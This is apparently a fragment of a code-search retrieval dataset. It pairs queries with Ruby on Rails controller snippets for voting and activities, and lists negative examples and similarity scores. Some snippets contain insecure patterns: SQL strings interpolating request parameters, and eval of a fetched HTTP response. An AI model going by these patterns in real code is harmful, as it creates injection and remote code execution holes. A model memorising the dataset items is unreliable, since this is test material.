"def create_vote\n\t\tuser.votes.create(value: 1, post: self)\n\tend",
"def user_has_voted(post)\n if (current_user)\n if (post.voted_by?(current_user))\n 1\n else\n 0\n end\n else\n 2\n end\nend",
"def create_vote\n user.votes.create(value: 1, post: self)\n end",
"def create\n @post = Post.find(params[:postID])\n if (@post.checkIfVoted(@post.id.to_s, session[:user_id].to_s)[0]!=nil )\n redirect_to @post, notice: 'You have already voted for this post.'\n elsif @post.postUserID.to_s == session[:user_id].to_s\n redirect_to @post, notice: 'You can not vote for yourself'\n else\n @vote = Vote.new(params[:vote])\n @vote.postID = params[:postID]\n @vote.userID = session[:user_id]\n\n @post.increment(:votes)\n @post.save\n # @post.voted((@post.votes+1).to_s,@post.id.to_s)\n #@post.increment(votes)\n\n respond_to do |format|\n if @vote.save\n format.html { redirect_to @post, notice: 'Vote successfully.' }\n format.json { render json: @vote, status: :created, location: @vote }\n else\n format.html { render action: \"new\" }\n format.json { render json: @vote.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"def create_vote\n user.votes.create(value: 1, post: self)\n end",
"def create\n @idea = Idea.find(params[:idea_id])\n @vote = @idea.votes.new(params[:vote])\n @vote.username = current_user.to_s\n respond_to do |format|\n if @vote.save \n format.json { render json: @vote, status: :created, location: @vote }\n else \n format.json { render json: @vote.errors, status: :unprocessable_entity }\n end\n end\n end",
"def vote\n @user = User.find(cookies[:user_id])\n suggestion = Suggestion.find_by(name: params[:suggestion_name])\n \n if suggestion.nil?\n flash[:error] = \"Invalid vote\"\n respond_to do |format|\n format.json{ render :json => { :error => \"Invalid vote\" }, :status => 400}\n end\n return\n elsif !@user.can_vote?\n flash[:error] = \"Out of votes\"\n respond_to do |format|\n format.json{ render :json => { :error => \"You may not vote again until next month\" }, :status => 409}\n end\n return\n elsif Vote.has_voted?(@user.id, suggestion.id)\n flash[:error] = \"Already voted for this\"\n respond_to do |format|\n format.json{ render :json => { :error => \"You already voted for this\" }, :status => 409}\n end\n return\n end\n \n suggestion.voted\n @user.vote\n Vote.create(user_id: @user.id, suggestion_id: suggestion.id)\n \n # Needed to track votes in rspec:\n @user_votes = @user.remaining_votes\n @suggestion_votes = suggestion.votes\n \n respond_to do |format|\n format.json{ head :ok }\n return\n end\n end",
"def create\n @vote = @retort.votes.new(params[:vote])\n @vote.user = current_user\n\n respond_to do |format|\n if @vote.save\n flash[:notice] = 'Vote was successfully created.'\n format.html { redirect_to(@retort) }\n format.xml { render :xml => @vote, :status => :created, :location => [@retort, @vote] }\n else\n flash[:error] = 'Vote could not be created.'\n format.html { redirect_to(@retort) }\n format.xml { render :xml => @vote.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def vote\n #params[:answer_id][:vote]\n #it can be \"1\" or \"-1\"\n @post = Post.find(params[:post_id])\n @post.vote!(params[:post_id][:votes])\n redirect_to :action => 'index'\n end",
"def create\n puts \"IS THIS WORKING NOWWWW?\"\n\n @previous_votes = Vote.where(:post_id => params[:post_id],:user_id => @current_user.id).all\n if @previous_votes.blank?\n @vote = Vote.new(params[:vote])\n @vote.post_id = params[:post_id]\n @vote.user_id = @current_user.id\n else\n @vote = nil\n end\n\n respond_to do |format|\n if @vote\n @vote.save\n format.html { redirect_back_or(posts_url, \"Thank you for voting!\", \"valid\")}\n format.json { render json: @vote, status: :created, location: @vote }\n else\n format.html {redirect_back_or(posts_url, \"You can't vote for a post more than once!\", \"invalid\")}\n format.json { render json: @vote.errors, status: :unprocessable_entity }\n end\n end\n end",
"def vote\n vote_state = false\n user = User.find_by_electoral_id(params[:electoral_id])\n election = Election.find(params[:election_id])\n candidate = Candidate.find(params[:candidate_id])\n\n if user and election\n\n user_voting = UserVoting.where(\"election_id = #{election.id} and user_id = #{user.id}\").first\n voting = Vote.where( \"election_id = #{election.id} and candidate_id = #{candidate.id}\").first\n\n if user_voting\n count = user_voting.voting_count\n if count.to_i < election.max_votes_per_user\n if candidate\n #TODO: Transaction have to be implemented \n user_voting.update_attribute(:voting_count, count+1)\n vote_state = true\n else\n response = {message: Message.invalid_candidate}\n return response, :not_found\n end\n else\n response = {message: Message.forbidden_voting}\n return response, :forbidden\n end\n else\n if !user_voting\n params.update(voting_count: 1, user_id: user.id)\n UserVoting.create!(user_voting_params) \n end\n vote_state = true\n end\n else\n response = {message: Message.invalid_user_or_election}\n return response, :not_found\n end\n if vote_state \n if !voting \n voting = Vote.create!(vote_params)\n end\n v_count = voting.vote_count.to_i\n voting.update_attribute(:vote_count, v_count + 1)\n response = {message: Message.voting_success}\n return response, :created\n end\n end",
"def up_vote\n @post = Post.not_published.find(params[:id])\n vote = @post.moderator_votes.new(:up_vote => true)\n vote.user = current_user if logged_in?\n vote.session_id = session[:session_id]\n vote.save\n flash[:notice] = \"Thanks for your help moderating upcoming posts.\"\n redirect_to moderators_path\n end",
"def can_vote\n if owner_user?\n redirect_back_or root_url \n flash[:info] = \"You are the owner.\"\n end\n end",
"def can_vote\n if owner_user?\n redirect_back_or root_url \n flash[:info] = \"You are the owner.\"\n end\n end",
"def create_vote\n \t\t#self.votes.create(value: 1, user: self.user )\n \t#\tvotes.create(value: 1, user: user )\n\t \tuser.votes.create(value: 1, post: self)\n \tend",
"def cast_vote\n @solution = Solution.find(params[:id])\n problem = @solution.problem\n unless user_has_voted_on_problem?(current_user, problem)\n save_and_respond_with_vote\n end \n end",
"def create\n @vote = Vote.new(params[:vote].merge(:user => current_user))\n\n respond_to do |format|\n if @vote.save\n format.html { redirect_to(@vote, :notice => 'Vote was successfully created.') }\n format.xml { render :xml => @vote, :status => :created, :location => @vote }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @vote.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def vote\n #create vote object\n @comment = Comment.find(params[:id])\n #@post = Post.find(params[:post_id])\n\n @vote = Vote.create(voteable: @comment, creator: current_user, vote: params[:vote])\n\n respond_to do |format|\n format.html do\n if @vote.valid?\n flash[:notice] = \"Your vote was counted.\"\n else\n flash[:error] = \"You can only vote for once for a comment.\"\n end\n redirect_to :back #go back to whatever url you came from\n end \n format.js do \n format.js\n end\n end\n end",
"def upvote\n\t\tif vote_once\n\t\t\t@vote = @post.votes.create(user_id: current_user.id)\n\t\telse\n\t\t\t@vote = false\n\t\tend\n\t\tbyebug\n\t\trespond_to do |format|\n\t\t\tformat.js\n\t\tend\n\tend",
"def vote\n value = params[:type] == \"up\" ? 1 : -1\n @post.add_or_update_evaluation(:votes, value, current_user)\n redirect_to :back\n end",
"def create\n votes = params[:vote]\n voter = params[:voter_id]\n\n if votes\n votes.each do |k,v|\n @vote = Vote.new({:voter_id => voter,\n :position_id => v,\n :candidate_id => k })\n @vote.save\n end\n end\n\n\n redirect_to '/vote'\n\n #respond_to do |format|\n #if @vote.save\n #format.html { redirect_to @vote, notice: 'Vote was successfully created.' }\n #format.json { render json: @vote, status: :created, location: @vote }\n #else\n #format.html { render action: \"new\" }\n #format.json { render json: @vote.errors, status: :unprocessable_entity }\n #end\n #end\n end",
"def create\n\t\tif @question.vote_not_present?(current_user)\n vote = @question.votes.new\n vote.user = current_user\n end\n if vote.save\n render json: { success: true,message: \"Vote has Successfully Created.\"},:status=>200\n else\n render :json=> { success: false, message: \"Questions are not present\" },:status=> 203\n end\n\tend",
"def vote_params\n params.require(:vote).permit(:post_id, :up, :user_id)\n end",
"def voted\n\t\tcurrent_user = User.current_user\n\t\tunless current_user.blank?\n\t\t\tcurrent_user.voted?(self)\n\t\telse\n\t\t\tfalse\n\t\tend \n\tend",
"def vote\n value = params[:type] == \"up\" ? 1 : -1\n @mypost = Mypost.find(params[:id])\n @mypost.add_or_update_evaluation(:votes, value, current_user)\n redirect_to :back, notice: \"Thank you for voting!\"\nend",
"def create\n @vote = Vote.new(:voteable_id => params[:voteable_id], :voteable_type => params[:voteable_type], :user => User.find(params[:user_id]))\n authorize! :create, @vote\n\n respond_to do |format|\n if @vote.save\n format.html { redirect_to @vote, notice: 'Vote was successfully created.' }\n format.json { render json: @vote, status: :created, location: @vote }\n else\n format.html { render action: \"new\" }\n format.json { render json: @vote.errors, status: :unprocessable_entity }\n end\n end\n end",
"def vote\n\tend",
"def create\n @vote = Vote.new\n if params[:problem_id] && params[:vote_type] && params[:post_type]\n vote_exists = false\n author_vote = false\n @post_type = params[:post_type].to_s.downcase\n @post_id = params[:id]\n \n votetype = VoteType.find_by_name(params[:vote_type])\n @vote.vote_type = votetype\n @vote.user_id = session[:user_id]\n if params[:post_type] == \"Post\"\n @vote.post = Post.find_by_id(params[:id])\n @vote_object = @vote.post\n vote_exists = true unless Vote.where(\"post_id=#{params[:id]} AND user_id=#{session[:user_id]}\").blank?\n author_vote = true if @vote.user_id == @vote.post.user_id\n elsif params[:post_type] == \"Solution\"\n @vote.solution = Solution.find_by_id(params[:id])\n @vote_object = @vote.solution\n vote_exists = true unless Vote.where(\"solution_id=#{params[:id]} AND user_id=#{session[:user_id]}\").blank?\n author_vote = true if @vote.user_id == @vote.solution.user_id\n elsif params[:post_type] == \"Comment\"\n @vote.comment = Comment.find_by_id(params[:id])\n @vote_object = @vote.comment\n vote_exists = true unless Vote.where(\"comment_id=#{params[:id]} AND user_id=#{session[:user_id]}\").blank?\n author_vote = true if @vote.user_id == @vote.comment.user_id\n else\n @vote = Vote.new\n end\n if !vote_exists && !author_vote && @vote.save\n respond_to do |format|\n format.html { \n flash[:notice] = \"#{params[:post_type].to_s} Vote Successful\"\n redirect_to(:controller => 'posts', :action => 'show', :id => params[:problem_id])\n }\n format.js {\n @vote_failed = false\n @notice = \"Vote Successful\" \n }\n end\n else \n respond_to do |format|\n format.html { \n flash[:notice] = \"Vote Failed\"\n flash[:notice] += \". You have already voted on this #{@post_type}\" if vote_exists\n flash[:notice] += \". You cannot vote on a #{@post_type} that you created.\" if author_vote\n redirect_to(:controller => 'posts', :action => 'show', :id => params[:problem_id])\n }\n format.js {\n @vote_failed = true\n @notice = \"Vote Failed\"\n @notice += \". You have already voted on this #{@post_type}\" if vote_exists\n @notice += \". You cannot vote on a #{@post_type} that you created.\" if author_vote\n }\n end\n end\n else\n flash[:notice] = \"An error occured\"\n redirect_to(:controller => 'public', :action => 'index')\n end\n end",
"def create_vote\n\t\tif logged_in?\n\t\t\t@vote = Vote.find_by(user_id: current_user.id, complaint_id: params[:id])\n\n\t\t\t#check if vote already exists or not\n\n\t\t\tif @vote == nil\n\t\t\t\t@vote = Vote.new(vote_params)\n\t\t\t\trespond_to do |format|\n\t\t\t\t if @vote.save\n\t\t\t\t format.html { redirect_to complaint_path, notice: 'Successfully Voted' }\n\t\t\t\t format.json { render json: {\"success\" => 1}}\n\t\t\t\t else\n\t\t\t\t format.html { render :new }\n\t\t\t\t format.json { render json: {\"success\" => 0}}\n\t\t\t\t end\n\t\t\t end\t\n\t\t\telse\n\t\t\t respond_to do |format|\n\t\t\t\t if @vote.update_attributes(vote_params)\n\t\t\t\t format.html { redirect_to complaint_path, notice: 'Vote was successfully updated.' }\n\t\t\t\t format.json {render json: {\"success\" => 1}}\n\t\t\t\t else\n\t\t\t\t format.html { render :edit }\n\t\t\t\t format.json { render json: @vote.errors, status: :unprocessable_entity }\n\t\t\t\t end\n\t\t\t\tend\n\t \tend\n \telse\n\t \trespond_to do |format|\n\t\t format.html {redirect_to login_path}\n\t\t format.json {render json: {\"success\" => 0}}\n\t \tend\n\t \tend\n \tend",
"def show\n authorize @vote_candidate\n end",
"def vote\n return unless logged_in?\n @snippet = Snippet.find(params[:id])\n unless @snippet.voted_by_user?(current_user)\n @vote = Vote.new(:vote => params[:vote] == \"for\")\n @vote.user_id = current_user.id\n # @snippet.how_truthful = @snippet.votes_for / @snippet.votes_count\n @snippet.votes << @vote\n end\n end",
"def vote\n @vote = Vote.find_or_initialize_by_entry_id_and_user_id(params[:entry_id], current_user.id)\n @entry = Entry.find(params[:entry_id])\n \n @previous_votes = current_user.votes.select { |v| v.entry.challenge_id == @entry.challenge_id }\n\n if @previous_votes.count == 0\n @vote.ignore = true\n else\n @vote.ignore = false\n\n if @previous_votes.count == 1\n @previous_votes.each do |v|\n old_vote = Vote.find(v.id)\n old_vote.ignore = false\n old_vote.save!\n end\n end\n end\n\n @vote.value = params[:value]\n\n respond_to do |format|\n if @entry.user != current_user && @vote.save! && @previous_votes.each { |v| v.save! }\n format.html { redirect_to next_entry }\n format.json { render json: @vote, status: :created, location: @vote }\n else\n format.html { redirect_to Entry.find(params[:entry_id]) }\n format.json { render json: @vote.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @vote = @votable.votes.new(vote_params)\n\n respond_to do |format|\n if @vote.save\n format.html { redirect_to build_path_vote(@vote), notice: 'Vote was successfully created.' }\n format.json { render action: 'show', status: :created, location: @vote }\n else\n format.html { render action: 'new' }\n format.json { render json: @vote.errors, status: :unprocessable_entity }\n end\n end\n end",
"def vote\n\t\t@review = Review.find(params[:id])\n\n\t\tif params[:type] == 'up'\n\t\t\t@review.add_or_update_evaluation(:up_votes, 1, current_user)\n\t\tend\n\n\t\t# Both up and down votes affect total votes\n\t\t@review.add_or_update_evaluation(:total_votes, 1, current_user)\n\t\t\n\t\tflash[:success] = \"Thanks for voting!\"\n\t\tredirect_to :back\n\tend",
"def vote\n @user = User.find(params[:vote][:user_id])\n return false unless verify_user?\n\n if params[:vote][:votable_type] == \"Post\"\n votable = Post.find(params[:vote][:votable_id])\n elsif params[:vote][:votable_type] == \"Comment\"\n votable = Comment.find(params[:vote][:votable_id])\n end\n\n vote = Vote.where(user: @user, votable: votable).first_or_initialize\n # This seems a little redundant, but I want to avoid tricky unnoticed typecasting\n is_upvote = params[:vote][:is_upvote] == \"true\" ? true : false\n if is_upvote == vote.is_upvote\n vote.destroy\n else\n vote.is_upvote = is_upvote\n vote.save\n end\n\n votable.reload_votes\n\n render text: \"\"\n end",
"def vote_on\n if Vote.voteOn(params[:activity_id], params[:user_id], params[:rating])\n\t\t\t@activity = Activity.find(params[:activity_id])\n\t\t\t@activity.viewer = User.find_by_id(params[:user_id])\n render :json=>@activity\n end\n return :text=>'There was an error voting for this activity', :status=>:service_unavailable\n end",
"def voter(user)\n if RuntimeConfig.vote_signin_active? || RuntimeConfig.voting_active?\n can :access, :elections\n can :access, Election\n end\n\n if RuntimeConfig.voting_active?\n can :access, :votes\n end\n end",
"def upvote\n @comment = Comment.find_by(id: params[:id])\n # raise 'hell'\n\n # the following line to be uncommented when we go live to allow for 1 vote per user\n # Vote.find_or_create_by(upvote: 1, post: @post, user: @current_user)\n Vote.find_or_create_by(upvote: 1, comment: @comment, user: @current_user)\n check_score()\n respond_to do |format|\n # # if the response format is html, redirect as usual\n format.html { redirect_to root_path }\n # # if the response format is javascript, do something else...\n format.js { }\n end\n end",
"def init_votes params, current_user_id\n #create votes for each user in the game\n game.users.each do |user|\n event_votes.create_vote_for_game user, params, current_user_id\n end\n reload\n\n Userpost.create_event_created(self)\n\n end",
"def vote_params\n params.require(:vote).permit(:username, :answer)\n end",
"def add_vote\n @vote = @comment.votes.find_by_user_id(current_user.id)\n\n if @vote\n @vote.positive = vote_params[:positive]\n else\n @vote = Vote.new(vote_params)\n end\n\n redirect_or_err(@vote, :api_comment_path, 400, @comment.id) do\n trackVal = @vote.positive ? 'Up' : 'Down'\n updated = !@vote.persisted? || @vote.changed?\n @vote.save &&\n (updated ? GATrackWorker.perform_async('Vote', trackVal, @comment.id) : true)\n end\n end",
"def create\n vote = Vote.new\n @idea = Idea.find(params[:id])\n @idea.votes << vote\n @idea.save\n vote.save\n current_user.votes << vote\n current_user.save\n respond_to do |format|\n format.html\n format.js {}\n end\n end",
"def upvote\n @post.likes.create(user_id: current_user.id)\n\n respond_to do |format|\n format.html { redirect_to posts_path }\n format.js\n end\n end",
"def up_vote\n if current_user\n answer_id = params[:answer_id]\n can_vote = Vote.can_vote(answer_id, current_user.uid)\n if can_vote\n answer = Answer.find_by_id(answer_id)\n answer.vote += 1\n answer.save!\n \n Vote.add_vote(answer_id, current_user.uid)\n end\n end\n render :nothing => true\n end",
"def vote\n find_issue\n authorize\n @issue.vote(params[:vote] == \"up\" ? :up : :down)\n @issue.save\n redirect_to :controller => 'issues', :action => 'show', :id => @issue\n end",
"def create\n @vote = Vote.new vote_params\n @vote.user = current_user\n if @vote.save\n @vote.votable.create_trophy_if_warranted\n end\n respond_with @vote\n end",
"def create\n @vote = Vote.new(params[:vote])\n @vote.user_id = session[:user_id]\n if params[:type].eql? \"post\"\n @vote.post_id = params[:post_id]\n else\n @vote.comment_id = params[:comment_id]\n end\n @vote.save\n redirect_to post_url(Post.find(params[:post_id]))\n=begin\n respond_to do |format|\n if @vote.save\n format.html { redirect_to @vote, notice: 'Vote was successfully created.' }\n format.json { render json: @vote, status: :created, location: @vote }\n else\n format.html { render action: \"new\" }\n format.json { render json: @vote.errors, status: :unprocessable_entity }\n end\n end\n=end\n end",
"def set_vote\n @vote = Vote.find(params[:id])\n end",
"def set_vote\n @vote = Vote.find(params[:id])\n end",
"def set_vote\n @vote = Vote.find(params[:id])\n end",
"def votes(options = {})\n get('/votes', options)\n end",
"def vote_params\n params.require(:vote).permit(:user_id, :value)\n end",
"def new\n # Not generally used. Most people want to vote via AJAX calls.\n end",
"def vote\n if user_signed_in?\n @idea = Idea.find(params[:idea_id])\n vote = params[:vote]\n @ideavote = IdeaVote.where(:user_id => current_user.id, :idea_id => params[:idea_id]);\n \n # back out the old vote\n vote_changed = false\n had_vote = false\n \n if @ideavote.count > 0\n had_vote = true\n if @ideavote[0].vote != vote\n vote_changed = true\n end\n \n if @ideavote[0].vote == \"yae\"\n @idea.yae_votes-=1\n else \n @idea.nay_votes-=1\n end\n @ideavote[0].destroy\n end\n \n # apply the new vote\n if !had_vote || vote_changed\n @newideavote = IdeaVote.new()\n @newideavote.user_id = current_user.id\n @newideavote.idea_id = @idea.id\n @newideavote.vote = vote\n @newideavote.save \n if vote == \"yae\"\n @idea.yae_votes+=1\n else \n @idea.nay_votes+=1\n end\n end\n \n @idea.rank = @idea.calculate_rank\n @idea.save\n \n respond_to do |format|\n format.json { \n render :json => @idea.to_json(:methods => [:vote_tally, :category_name, :user_alias]) \n }\n end\n \n end\n end",
"def up_vote\n #raise\n update_vote(1)\n # redirect_back(fallback_location: root_path)\n respond_to do |format|\n format.html\n format.js\n end\n end",
"def upvote\n @post = Post.find_by(id: params[:id])\n # raise 'hell'\n\n # the following line to be uncommented when we go live to allow for 1 vote per user\n # Vote.find_or_create_by(post: @post, user: @current_user)\n # Vote.find_or_create_by(upvote: 1, post: @post, user: @current_user)\n Vote.create(upvote: 1, post: @post, user: @current_user)\n check_score()\n make_request()\n end",
"def update_vote!(new_value)\n if @vote\n authorize @vote, :update?\n @vote.update_attribute(:value, new_value)\n else\n @vote = current_user.votes.build(value: new_value, post: @post)\n authorize @vote, :create?\n @vote.save\n end\n end",
"def create\n @vote = @bet.votes.new(vote_params)\n @vote.ip_addr = params[:vote][:uuid]\n\n tmp_vote = Vote.where(ip_addr: @vote.ip_addr, bet_id: @bet.id)\n\n if @bet.ended?\n render json: {\n bet: @bet,\n error: \"EXPIRED\",\n msg: \"Bets are closed.\"\n }, status: :ok\n return\n\n elsif tmp_vote.any?\n render json: {\n status: 'error',\n error: \"ALREADY_VOTED\",\n msg: \"You've already voted on this\"\n }, status: :ok\n return\n else\n\n if @vote.answer != \"a\" and @vote.answer != \"b\"\n render json: {\n status: 'error',\n error: \"INVALID_ANSWER\",\n msg: \"Invalid answer: #{@vote.answer}\"\n }, status: :unprocessable_entity\n return\n end\n\n\n if @vote.save\n\n render json: {\n vote: @vote,\n status: \"success\",\n error: nil\n }, status: :created, location: api_v1_bet_votes_url(@bet, @vote)\n\n else\n render json: {\n status: \"error\",\n error: \"unprocessable_entity\",\n msg: @vote.errors.full_messages\n }, status: :unprocessable_entity\n end\n\n end\n\n end",
"def uppost\n post = Post.find_by_id(params[:id])\n if !post.nil?\n post.vote(current_user, true)\n end\n end",
"def vote_params\n vote_params = params.require(:vote).permit(:article_id)\n vote_params[:user_id] = current_user.id\n vote_params\n end",
"def create\n @upvote = Upvote.new(upvote_params)\n @upvote.user_id = current_user.id\n if @upvote.comment_id?\n\t@comment = Comment.find(@upvote.comment_id)\n @user = User.find(@comment.user_id)\n @comment.update_attribute(:votes, @comment.votes + 1)\n else\n\t@post = Post.find(@upvote.post_id)\n\t@user = User.find(@post.user_id)\n\n end\n\n @user.update_attribute(:karma, @user.karma + 1)\n\n respond_to do |format|\n if @upvote.save\n\t\tif @upvote.post_id?\n\t\t\tformat.html { redirect_back(fallback_location: root_path) }\n\t\telse\n\t\t\tformat.html { redirect_to @upvote.comment.post }\n\t\tend\n format.json { render :show, status: :created, location: @upvote }\n else\n format.html { render :new }\n format.json { render json: @upvote.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n is_logged\n @vote = Vote.new(vote_params)\n @user = current_user\n respond_to do |format|\n if @vote.save\n if @vote.id_tour == 1\n @user.tour1 = 1\n @vote.save\n @user.save\n\n format.html { redirect_to root_path, notice: 'Votre vote a été pris en compte' }\n format.json { render :show, status: :created, location: root_path }\n\n elsif @vote.id_tour == 2\n @user.tour2 = 1\n @vote.save\n @user.save\n\n format.html { redirect_to root_path, notice: 'Votre vote a été pris en compte' }\n format.json { render :show, status: :created, location: root_path }\n\n else\n format.html { render :new }\n format.json { render json: @vote.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"def vote_up\n begin\n @user = current_user\n @idea = Idea.find(params[:idea])\n @user.vote_for(@idea)\n render :nothing => true, :status => 200\n rescue ActiveRecord::RecordInvalid\n render :nothing => true, :status => 404\n end\n end",
"def create\n @vote = Vote.new(params[:vote])\n\n respond_to do |format|\n if @vote.save\n format.html { redirect_to @vote, notice: 'Vote was successfully created.' }\n format.json { render json: @vote, status: :created, location: @vote }\n else\n format.html { render action: \"new\" }\n format.json { render json: @vote.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @vote = Vote.new(params[:vote])\n\n respond_to do |format|\n if @vote.save\n format.html { redirect_to @vote, notice: 'Vote was successfully created.' }\n format.json { render json: @vote, status: :created, location: @vote }\n else\n format.html { render action: \"new\" }\n format.json { render json: @vote.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @vote = Vote.find_or_initialize_by(vote_params)\n if @vote.persisted?\n @vote.deleted = !@vote.deleted\n end\n\n respond_to do |format|\n if @vote.save\n format.json { render :show, status: :created, location: @vote }\n else\n format.json { render json: @vote.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @vote = Vote.new(vote_params)\n\n respond_to do |format|\n if @vote.save\n format.html { redirect_to @vote, notice: 'Vote was successfully created.' }\n format.json { render :show, status: :created, location: @vote }\n else\n format.html { render :new }\n format.json { render json: @vote.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_vote\n\t\t@vote = Vote.find_by_id(params[:id])\n\t\tif @vote.nil?\n\t\t\tredirect_to main_app.admin_voters_path, alert: I18n.t(\"activerecord.errors.models.vote.not_found\")\n\t\tend\n\tend",
"def create\n @vote = Vote.new(vote_params)\n\n respond_to do |format|\n if @vote.save\n format.html { redirect_to @vote, notice: 'Vote was successfully created.' }\n format.json { render :show, status: :created, location: @vote }\n else\n format.html { render :new }\n format.json { render json: @vote.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @vote = Vote.new(vote_params)\n\n respond_to do |format|\n if @vote.save\n format.html { redirect_to @vote, notice: 'Vote was successfully created.' }\n format.json { render :show, status: :created, location: @vote }\n else\n format.html { render :new }\n format.json { render json: @vote.errors, status: :unprocessable_entity }\n end\n end\n end",
"def upvote\n\t@post = Post.find(params[:id])\n\t@post.votes = @post.votes + 1\n puts @post.votes\n\n\n\n\trespond_to do |format|\n if @post.update(post_par2)\n\t\tformat.html { redirect_to @post, notice: 'Post was successfully upvoted.' }\n\t\tformat.json { render :show, status: :ok, location: @post }\n end\n\tend\n end",
"def vote\n shared_vote(params[:vote], @phrase, current_user)\n redirect_back(fallback_location: root_path)\n end",
"def set_vote\n @vote = Vote.find(params[:id])\n end",
"def set_vote\n @vote = Vote.find(params[:id])\n end",
"def set_vote\n @vote = Vote.find(params[:id])\n end",
"def set_vote\n @vote = Vote.find(params[:id])\n end",
"def set_vote\n @vote = Vote.find(params[:id])\n end",
"def set_vote\n @vote = Vote.find(params[:id])\n end",
"def set_vote\n @vote = Vote.find(params[:id])\n end",
"def set_vote\n @vote = Vote.find(params[:id])\n end",
"def set_vote\n @vote = Vote.find(params[:id])\n end",
"def set_vote\n @vote = Vote.find(params[:id])\n end",
"def set_vote\n @vote = Vote.find(params[:id])\n end",
"def set_vote\n @vote = Vote.find(params[:id])\n end",
"def set_vote\n @vote = Vote.find(params[:id])\n end",
"def set_vote\n @vote = Vote.find(params[:id])\n end",
"def set_vote\n @vote = Vote.find(params[:id])\n end",
"def set_vote\n @vote = Vote.find(params[:id])\n end",
"def set_vote\n @vote = Vote.find(params[:id])\n end",
"def set_vote\n @vote = Vote.find(params[:id])\n end"
] |
[
"0.7148622",
"0.7048222",
"0.7016303",
"0.6973211",
"0.6967024",
"0.6867814",
"0.68396235",
"0.68396235",
"0.67698383",
"0.6768515",
"0.674571",
"0.6739032",
"0.6733443",
"0.67115575",
"0.66917783",
"0.66782993",
"0.6666793",
"0.66431814",
"0.6612388",
"0.66005063",
"0.6577386",
"0.65710497",
"0.65602016",
"0.65602016",
"0.653809",
"0.6515788",
"0.64989364",
"0.6478274",
"0.6476852",
"0.64736205",
"0.6469578",
"0.6448606",
"0.6438948",
"0.6435698",
"0.64332616",
"0.6430349",
"0.6429289",
"0.6424626",
"0.6417966",
"0.64148974",
"0.6413783",
"0.64119226",
"0.6398928",
"0.6396639",
"0.63916016",
"0.6382111",
"0.6351765",
"0.63442385",
"0.633226",
"0.6325034",
"0.63183653",
"0.63098377",
"0.630875",
"0.630117",
"0.6296823",
"0.6291445",
"0.62866884",
"0.628087",
"0.628087",
"0.628087",
"0.627679",
"0.6276334",
"0.6245086",
"0.62368876",
"0.6233467",
"0.6219047",
"0.6217317",
"0.62120473",
"0.62060857",
"0.62011844",
"0.619929",
"0.6198876",
"0.6195838",
"0.61900866",
"0.61900866",
"0.6180784",
"0.6177941",
"0.6177269",
"0.61772466",
"0.61772466",
"0.6176513",
"0.61748093",
"0.6168566",
"0.6168566",
"0.6168566",
"0.6168566",
"0.6168566",
"0.6168566",
"0.6168566",
"0.6168566",
"0.6168566",
"0.6168566",
"0.6168566",
"0.6168566",
"0.6168566",
"0.6168566",
"0.6168566",
"0.6168566",
"0.6168566",
"0.6168566"
] |
0.6509507
|
26
|
GET /evactivities/1 GET /evactivities/1.xml
|
def show
@evactivity = Evactivity.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.xml { render :xml => @evactivity }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def activities\n get_call(\"1/activities.json\")\n end",
"def activity(id)\n get(\"/activities/#{id}.json\")\n end",
"def activity(id)\n get(\"/activities/#{id}.json\")\n end",
"def activities(params = {})\n scope 'default'\n get('activities/', params)\n end",
"def activities_xml(time = nil, filter = nil)\n timestamp = time ? time.to_gnip_bucket_id : 'current'\n if filter\n _name, _endpoint = filter.name, \"#{self.uri}/#{filter.path}/activity/#{timestamp}.xml\"\n else\n _name, _endpoint = self.name, \"#{self.uri}/activity/#{timestamp}.xml\"\n end\n log_action(_name, time, timestamp)\n response, activities_xml = fetch(_endpoint)\n end",
"def activity(params={})\n Endpoints::Activity.new(self).get(params)\n end",
"def recent_activities\n get(\"/user/#{@user_id}/activities/recent.json\")\n end",
"def recent_activities()\n get(\"/user/#{@user_id}/activities/recent.json\")\n end",
"def activities(options={})\n response = connection.get do |req|\n req.url \"activities\", options\n end\n return_error_or_body(response)\n end",
"def activities\n @activities = if @project\n @project.activities\n else\n User.current.projects.all(:include => :time_entry_activities).map(&:time_entry_activities).flatten + TimeEntryActivity.shared.active\n end\n\n respond_to do |format|\n format.xml\n end\n end",
"def activities(id)\n get(\"/accounts/#{id}/activities\")['activities']\n end",
"def show\n @today_activity = TodayActivity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @today_activity }\n end\n end",
"def index\n @current_activities = CurrentActivity.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @current_activities }\n end\n end",
"def activity\n @root.xpath('Events/Event').map do |act|\n Activity.new(act)\n end\n end",
"def show\n @activity = Activity.find(params[:id])\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @activity.to_xml }\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @current_activity }\n end\n end",
"def frequent_activities()\n get(\"/user/#{@user_id}/activities/frequent.json\")\n end",
"def frequent_activities\n get(\"/user/#{@user_id}/activities/frequent.json\")\n end",
"def show\n @activity = Activity.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @activity }\n end\n end",
"def show\n @activity = Activity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @activity }\n end\n end",
"def show\n @activity = Activity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @activity }\n end\n end",
"def show\n @activity = Activity.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @activity }\n end\n end",
"def new\n @evactivity = Evactivity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @evactivity }\n end\n end",
"def index(user)\n activities = []\n json = eval(RestClient.get(ENDPOINT + \"/activities?user_id=#{user}\").to_s)\n json.each do |attributes|\n activities << Activity.new(attributes)\n end\n activities\n end",
